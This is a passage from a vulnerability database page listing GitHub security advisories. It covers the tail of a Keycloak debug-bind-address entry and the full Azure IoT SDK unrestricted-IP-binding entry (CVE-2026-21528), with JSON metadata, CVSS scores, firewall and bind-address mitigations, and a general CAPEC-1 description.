      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keycloak has debug default bind address"
}

GHSA-MFW9-VJXF-GVR8

Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-10 18:30
VLAI
Details

Binding to an unrestricted ip address in Azure IoT SDK allows an unauthorized attacker to disclose information over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-21528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T18:16:35Z",
    "severity": "MODERATE"
  },
  "details": "Binding to an unrestricted ip address in Azure IoT SDK allows an unauthorized attacker to disclose information over a network.",
  "id": "GHSA-mfw9-vjxf-gvr8",
  "modified": "2026-02-10T18:30:42Z",
  "published": "2026-02-10T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21528"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
System Configuration

Assign IP addresses that are not 0.0.0.0.

Mitigation
System Configuration

Strategy: Firewall

Unwanted connections to the configured server may be denied through a firewall or other packet filtering measures.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.